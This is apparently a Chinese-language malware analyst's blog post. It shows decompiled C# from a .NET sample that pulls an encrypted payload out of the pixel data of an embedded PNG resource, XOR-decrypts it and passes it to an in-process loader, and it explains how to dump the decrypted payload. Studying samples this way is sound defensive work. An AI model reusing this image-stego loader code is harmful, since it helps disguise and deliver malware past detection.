今天接着上次的样本继续分析。
Dump出来的dll文件,在Resources文件下有一张MGB_kl.Png图片。从code中可以知道,通过public bool p()函数获取该资源,然后通过CZB_jk()函数把该图片在内存中重新复制一份通过BlockCopy()函数,再通过解密函数把该图片中的code解密出来。 public bool p()
{
object obj = this.Ja_W(this.CZB_jk((Bitmap)Image.FromStream(Assembly.GetExecutingAssembly().GetManifestResourceStream("MGB_kl.Png")), 144896));
X_x x_x = new X_x();
return x_x.p(Process.GetCurrentProcess().MainModule.FileName, string.Empty, (byte[])obj, true);
}
public byte[] CZB_jk(Bitmap E_D, int jtf_yWM)
{
checked
{
byte[] array = new byte[E_D.Width * E_D.Height * 3 - 1 + 1];
int num = 0;
for (int i = E_D.Height - 1; i >= 0; i += -1)
{
int arg_32_0 = 0;
int num2 = E_D.Width - 1;
for (int j = arg_32_0; j <= num2; j++)
{
Color pixel = E_D.GetPixel(j, i);
array[num * 3 + 2] = pixel.R;
array[num * 3 + 1] = pixel.G;
array[num * 3] = pixel.B;
num++;
}
}
byte[] array2 = new byte[jtf_yWM + 1];
Buffer.BlockCopy(array, 4, array2, 0, array2.Length);
return array2;
}
}
解密算法。
for (int i = arg_39_0; i <=num; i++)
{
array[array.Length- 1 - i] = (jtf_yWM ^ b ^ bytes[i %bytes.Length]);
}
那现在怎么把这dll运行起来,然后把图片进行解密,把真正的malware给dump出来?我用了一种比较笨的方法,就是自己重新建立一个C#工程,然后把code复制过去,然后在解密code的地方下断点。(我目前想到的方法,如果有好方法,大家可以建议)
ILSpy有保存code功能,就是把你现在分析的文件以C#工程保存。
解密的如附件所示。
今天就到这里吧,最近工作比较繁忙,下次把这个malware分析一下。
|